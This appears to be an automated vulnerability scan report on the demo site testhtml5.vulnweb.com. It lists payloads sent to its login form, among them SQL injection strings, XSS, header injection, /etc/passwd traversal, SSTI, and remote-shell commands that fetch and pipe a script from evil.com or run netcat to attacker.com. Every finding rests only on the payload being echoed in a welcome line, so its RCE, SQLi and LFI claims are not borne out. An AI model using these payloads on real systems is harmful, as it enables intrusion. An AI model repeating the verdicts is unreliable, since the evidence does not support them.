

Website Vulnerability Report



Target Metadata:

URL: <http://testhtml5.vulnweb.com>

IP Address: 44.228.249.3

A: 44.228.249.3

AAAA: None

MX: None

NS: ns3.eurodns.com., ns1.eurodns.com., ns2.eurodns.com., ns4.eurodns.com.

domain_name: VULNWEB.COM

registrar: EuroDNS S.A.

creation_date: [datetime.datetime(2010, 6, 14, 7, 50, 29), datetime.datetime(2010, 6, 14, 0, 0)]

expiration_date: [datetime.datetime(2026, 6, 14, 7, 50, 29), datetime.datetime(2026, 6, 13, 0, 0)]

emails: legalservices@eurodns.com, administrator@invicti.com

Headers: {'Server': 'nginx/1.19.0', 'Date': 'Tue, 19 Aug 2025 10:45:01 GMT', 'Content-Type': 'text/html', 'Content-Length': '177', 'Connection': 'close'}

Cookies:

Meta: None

CMS: None

Frontend: None

Backend: Nginx

CDN: None

Analytics: None

Server: nginx/1.19.0

Date: Tue, 19 Aug 2025 10:44:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Access-Control-Allow-Origin: *

Content-Encoding: gzip

Crawled Pages (1):

<http://testhtml5.vulnweb.com>

Forms Found (1):

<http://testhtml5.vulnweb.com> -> <http://testhtml5.vulnweb.com/login>

Vulnerability Summary:

Type	Count
HEADER_INJECTION	2
SQLI	2

XSS	2
OPEN_REDIRECT	2
RCE	2
LFI	2
CMD_INJECTION	1
SSTI	2
PATH_TRAVERSAL	1

Vulnerabilities Detected:

HEADER_INJECTION Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login
Type: HEADER_INJECTION
Payload: test%0d%0aSet-Cookie:evil=1
Evidence: >Acunetix Web Vulnerability Scanner.

```
<p class="navbar-text pull-right">

  Welcome <b>test%0d%0aSet-Cookie:evil=1</b> | <a href="/logout">Logout</a>

</p>
</div>
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  <div class="
```

URL: http://testhtml5.vulnweb.com/login
Type: HEADER_INJECTION
Payload: value%0AContent-Length:0%0A
Evidence: >Acunetix Web Vulnerability Scanner.

```
<p class="navbar-text pull-right">

  Welcome <b>value%0AContent-Length:0%0A</b> | <a href="/logout">Logout</a>

</p>
</div>
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```

SQLI Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: SQLI

Payload: ' OR 1=1--

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome ' OR 1=1-- | Logout

</p>

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URL: http://testhtml5.vulnweb.com/login

Type: SQLI

Payload: ' OR '1'='1

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome ' OR '1'='1 | Logout

</p>

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XSS Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: XSS

Payload:

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome | Logout

</p>

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URL: http://testhtml5.vulnweb.com/login

Type: XSS

Payload: <details open ontoggle=alert(1)>

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome <details open ontoggle=alert(1)> | Logout

</p>

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OPEN_REDIRECT Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: OPEN_REDIRECT

Payload: //evil.com

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome //evil.com | Logout

</p>

</div>

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URL: http://testhtml5.vulnweb.com/login

Type: OPEN_REDIRECT

Payload: ^evil.com

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome ^evil.com | Logout

</p>

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RCE Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: RCE

Payload: `wget http://evil.com/shell.sh -O- | sh`

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome `wget http://evil.com/shell.sh -O- | sh` | Logout

</p>

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URL: http://testhtml5.vulnweb.com/login

Type: RCE

Payload: test; nc -e /bin/sh attacker.com 4444

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome test; nc -e /bin/sh attacker.com 4444 | Logout

</p>

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LFI Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: LFI

Payload: /etc/passwd%00

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome /etc/passwd%00 | Logout

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URL: http://testhtml5.vulnweb.com/login

Type: LFI

Payload: ../../../../etc/passwd

Evidence: >Acunetix Web Vulnerability Scanner.

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<p class="navbar-text pull-right">

Welcome ../../../../etc/passwd | Logout

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CMD_INJECTION Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: CMD_INJECTION

Payload: test; ls -la

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome test; ls -la | Logout

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SSTI Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: SSTI

Payload: {{ config.items() }}

Evidence: >Acunetix Web Vulnerability Scanner.

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<p class="navbar-text pull-right">

Welcome {{ config.items() }} | Logout

</p>

</div>

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URL: http://testhtml5.vulnweb.com/login

Type: SSTI

Payload: #{7*7}

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome #{7*7} | Logout

</p>

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PATH_TRAVERSAL Vulnerabilities:

URL: http://testhtml5.vulnweb.com/login

Type: PATH_TRAVERSAL

Payload: ../../../../etc/passwd

Evidence: >Acunetix Web Vulnerability Scanner.

</p>

<p class="navbar-text pull-right">

Welcome ../../../../etc/passwd | Logout

</p>

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